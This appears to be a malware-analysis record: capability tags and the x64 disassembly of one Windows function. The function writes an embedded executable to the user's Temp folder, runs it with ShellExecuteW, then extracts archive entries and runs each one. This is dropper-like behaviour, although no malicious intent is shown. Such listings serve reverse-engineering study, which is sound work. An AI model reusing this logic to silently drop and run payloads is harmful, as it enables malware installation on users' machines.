Function at 0x1400011c0
Capabilities:
Create directory
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r12
push r13
push r14
lea rbp, [rsp - 0x3270]
mov eax, 0x3370
call fcn.140023f20
sub rsp, rax
mov rax, qword [0x140035008]
xor rax, rsp
mov qword [rbp + 0x3260], rax
mov ecx, 0x208
call fcn.14001305c
lea rcx, str.USERPROFILE
mov r12, rax
call fcn.140012e78
mov rdx, r12
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140001220
lea rdx, [r12 - 2]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140001235
movups xmm0, xmmword [str.AppdataLocalTemp_]
xor ecx, ecx
mov qword [rsp + 0x33a0], rdi
movups xmmword [rdx], xmm0
movups xmm1, xmmword [0x14002d6e8]
movups xmmword [rdx + 0x10], xmm1
movsd xmm0, qword [0x14002d6f8]
movsd qword [rdx + 0x20], xmm0
movzx eax, word [0x14002d700]
mov word [rdx + 0x28], ax
call fcn.140016840
mov ecx, eax
call fcn.14000e288
mov ecx, 0xa
call fcn.1400010d0
mov ecx, 0x14
mov rsi, rax
call fcn.1400010d0
mov ecx, 0x208
mov r14, rax
call fcn.14001305c
xor r13d, r13d
mov rbx, rax
test rax, rax
je 0x140001386
mov r8d, 0x104
mov dword [rsp + 0x70], r13d
mov rdx, r12
mov rcx, rax
call fcn.140012938
lea rcx, [rbx - 2]
cmp word [rcx + 2], r13w
lea rcx, [rcx + 2]
jne 0x1400012d0
movups xmm0, xmmword [str.b446dee0_127b_4d24_8e41_cf4a2ca6d221.exe]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
movups xmmword [rcx], xmm0
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
movups xmm1, xmmword [0x14002d720]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [0x14002d730]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [0x14002d740]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [0x14002d750]
movups xmmword [rcx + 0x40], xmm0
movzx eax, word [0x14002d760]
mov word [rcx + 0x50], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001371
mov r8d, dword [rsi + 8]
lea r9, [rsp + 0x70]
mov rdx, qword [rsi]
mov rcx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rcx, [rbp + 0x660]
mov rdx, rbx
call fcn.140012938
mov rcx, rbx
mov qword [rsp + 0x33a8], r15
call fcn.140013048
mov rcx, rsi
call fcn.140013048
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, [rbp + 0x660]
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
jbe 0x1400018cf
mov r8d, 0x104
lea rdx, [rbp + 0x450]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movups xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890]
mov eax, dword [0x14002d6b8]
mov rbx, r13
movups xmm1, xmmword [0x14002d690]
mov dword [rbp - 0x48], eax
movzx eax, word [0x14002d6bc]
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x44], ax
movups xmm0, xmmword [0x14002d6a0]
movzx eax, byte [0x14002d6be]
movups xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x42], al
movsd xmm1, qword [0x14002d6b0]
movups xmmword [rbp - 0x60], xmm0
movsd qword [rbp - 0x50], xmm1
nop dword [rax]
call fcn.14000e25c
mov r8d, eax
mov eax, 0x84210843
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3e
sub r8d, ecx
movsxd rax, r8d
movzx ecx, byte [rbp + rax - 0x80]
mov byte [rbp + rbx - 0x20], cl
inc rbx
cmp rbx, 5
jb 0x140001430
lea r9, [rbp - 0x20]
mov byte [rbp - 0x1b], r13b
lea r8, str._hs.tmplcd1
mov edx, 0x20
lea rcx, [rbp]
call fcn.140001010
mov r8d, 0x104
lea rcx, [rbp + 0x240]
mov rdx, r12
call fcn.140012938
lea rcx, [rbp + 0x240]
sub rcx, 2
cmp word [rcx + 2], r13w
lea rcx, [rcx + 2]
jne 0x1400014a5
lea r8, [rbp]
xor edx, edx
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x1400014c0
lea rdx, str.w_ccsUTF_8
lea rcx, [rbp + 0x240]
call fcn.140013008
mov rbx, rax
test rax, rax
je 0x140001526
lea rax, [rbp + 0x450]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x140001500
mov r9, rbx
lea rcx, [rbp + 0x450]
mov edx, 2
call fcn.140012cdc
mov rcx, rbx
call fcn.14000e5d0
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
mov eax, dword [r14 + 8]
mov ecx, eax
mov dword [rsp + 0x60], eax
call fcn.14001305c
mov r8d, dword [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x58], rax
mov rdx, qword [r14]
call fcn.14000c310
mov rcx, r14
call fcn.140013048
lea rax, [0x140005d40]
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x40], rax
lea rcx, [fcn.140005ee0]
mov qword [rbp - 0x50], rcx
lea rax, [0x140005da0]
mov qword [rbp - 0x78], rax
lea rcx, [rsp + 0x58]
mov qword [rbp - 0x48], rcx
lea rax, [0x140005de0]
lea rcx, [0x140005ea0]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x30], rcx
lea rax, [fcn.140005ee0]
lea rcx, [0x140005e90]
mov qword [rbp - 0x58], rax
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
call fcn.140008270
mov rbx, rax
test rax, rax
je 0x1400018c8
mov r15d, dword [rax + 0x68]
mov r14d, r13d
test r15d, r15d
je 0x14000185e
nop dword [rax + rax]
lea r9, [rbp + 0x40]
mov dword [rsp + 0x20], 0x200
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.140008e40
test eax, eax
jne 0x140001898
lea rcx, [rbp + 0x40]
mov rax, 0xffffffffffffffff
nop
cmp byte [rcx + rax + 1], r13b
lea rax, [rax + 1]
jne 0x140001620
cmp byte [rbp + rax + 0x3f], 0x2f
jne 0x1400016b2
mov ecx, 0x608
call fcn.14001305c
lea r9, [rbp + 0x40]
mov edx, 0x200
lea r8, [0x14002d7d0]
mov rdi, rax
lea rcx, [rbp + 0xa60]
call fcn.140001010
mov r8d, 0x104
mov rdx, r12
mov rcx, rdi
call fcn.140012938
lea rcx, [rdi - 2]
cmp word [rcx + 2], r13w
lea rcx, [rcx + 2]
jne 0x140001674
lea r8, [rbp + 0xa60]
xor edx, edx
nop dword [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140001690
mov rcx, rdi
call fcn.14000e230
mov rcx, rdi
jmp 0x1400017b5
mov rcx, rbx
call fcn.140009c30
test eax, eax
jne 0x1400018a4
mov ecx, 0x608
call fcn.14001305c
lea r9, [rbp + 0x40]
mov edx, 0x200
lea r8, [0x14002d7d0]
mov rsi, rax
lea rcx, [rbp + 0xe60]
call fcn.140001010
mov r8d, 0x104
mov rdx, r12
mov rcx, rsi
call fcn.140012938
lea rcx, [rsi - 2]
cmp word [rcx + 2], r13w
lea rcx, [rcx + 2]
jne 0x140001700
lea r8, [rbp + 0xe60]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140001720
lea rdx, [0x14002d7d8]
mov rcx, rsi
call fcn.140013008
mov rdi, rax
test rax, rax
je 0x14000188e
nop dword [rax]
lea rdx, [rbp + 0x1260]
mov rcx, rbx
call fcn.140009ef0
test eax, eax
js 0x14000188e
jle 0x140001783
movsxd rdx, eax
lea rcx, [rbp + 0x1260]
mov r9, rdi
mov r8d, 1
call fcn.140012cdc
jmp 0x140001750
mov rcx, rdi
call fcn.14000e5d0
xor r9d, r9d
mov dword [rsp + 0x28], 1
mov r8, rsi
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
jbe 0x1400018cf
mov rcx, rsi
call fcn.140013048
mov rcx, rbx
call fcn.14000a1e0
lea eax, [r14 + 1]
mov r14d, eax
cmp eax, r15d
jae 0x140001855
cmp qword [rbx + 0x90], r13
je 0x1400018a4
mov rcx, qword [rbx + 0x68]
cmp rcx, 0xffff
je 0x1400017ff
mov rax, qword [rbx + 0x80]
inc rax
cmp rax, rcx
je 0x1400018a4
mov ecx, dword [rbx + 0xe0]
lea r8, [rbx + 0x108]
mov eax, dword [rbx + 0xd8]
lea rdx, [rbx + 0xb0]
inc qword [rbx + 0x80]
add ecx, 0x2e
add ecx, dword [rbx + 0xdc]
xor r9d, r9d
add eax, ecx
mov dword [rsp + 0x20], r13d
add qword [rbx + 0x88], rax
mov rcx, rbx
call fcn.140008e40
test eax, eax
mov rcx, r13
sete cl
mov qword [rbx + 0x90], rcx
test eax, eax
jne 0x1400018a4
cmp r14d, r15d
jb 0x1400015f0
cmp qword [rbx + 0x110], r13
je 0x14000186f
mov rcx, rbx
call fcn.14000a1e0
mov rdx, qword [rbx + 0x60]
mov rcx, qword [rbx + 0x38]
call qword [rbx + 0x28]
mov rcx, rbx
call fcn.140013048
mov rcx, r12
call fcn.140013048
xor eax, eax
jmp 0x1400018d4
mov rcx, rbx
call fcn.14000a1e0
jmp 0x1400018a4
lea rcx, str.could_not_read_file_info_n
call fcn.140001070
cmp qword [rbx + 0x110], r13
je 0x1400018b5
mov rcx, rbx
call fcn.14000a1e0
mov rdx, qword [rbx + 0x60]
mov rcx, qword [rbx + 0x38]
call qword [rbx + 0x28]
mov rcx, rbx
call fcn.140013048
mov eax, 0xffffffff
jmp 0x1400018d4
mov eax, 1
mov r15, qword [rsp + 0x33a8]
mov rdi, qword [rsp + 0x33a0]
mov rcx, qword [rbp + 0x3260]
xor rcx, rsp
call fcn.14000a320
mov rbx, qword [rsp + 0x33b0]
add rsp, 0x3370
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret